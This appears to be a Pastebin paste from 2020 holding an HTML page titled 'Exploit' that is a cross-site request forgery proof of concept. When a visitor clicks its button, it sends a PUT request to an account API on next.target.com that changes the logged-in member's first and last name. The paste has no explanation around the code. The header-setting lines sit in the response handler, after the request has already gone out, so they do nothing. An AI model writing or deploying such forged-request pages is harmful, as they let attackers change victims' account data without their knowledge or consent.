Advertisement
Guest User

Untitled

a guest
Feb 24th, 2020
201
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 5 0.96 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <html>
  3.   <head>
  4.     <title>Exploit</title>
  5.     <meta charset="utf-8">
  6.   </head>
  7.   <body>
  8.  
  9.     <button type='button' onclick='csrf()'>CSRF</button>
  10.     <script>
  11.       function csrf(){
  12.         var xh = new XMLHttpRequest();
  13.         xh.onreadystatechange = function(){
  14.             if (this.readyState == 4 && this.status == 200) {
  15.                 xh.setRequestHeader("User-Agent", "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0");
  16.                 xh.setRequestHeader("Accept", "application/json, text/plain, */*");
  17.                 xh.setRequestHeader("Referer", "https://next.target.com/account");
  18.                 xh.setRequestHeader("Content-Type", "application/json;charset=utf-8");             
  19.                
  20.             }
  21.         };
  22.         xh.open("PUT", "https://next.target.com/proxy/api/members/name", true);
  23.         var data = {experienceId:"21",firstName:"csed",lastName:"baset"};
  24.         xh.send(JSON.stringify(data));
  25.       }
  26.     </script>
  27.  
  28.   </body>
  29. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement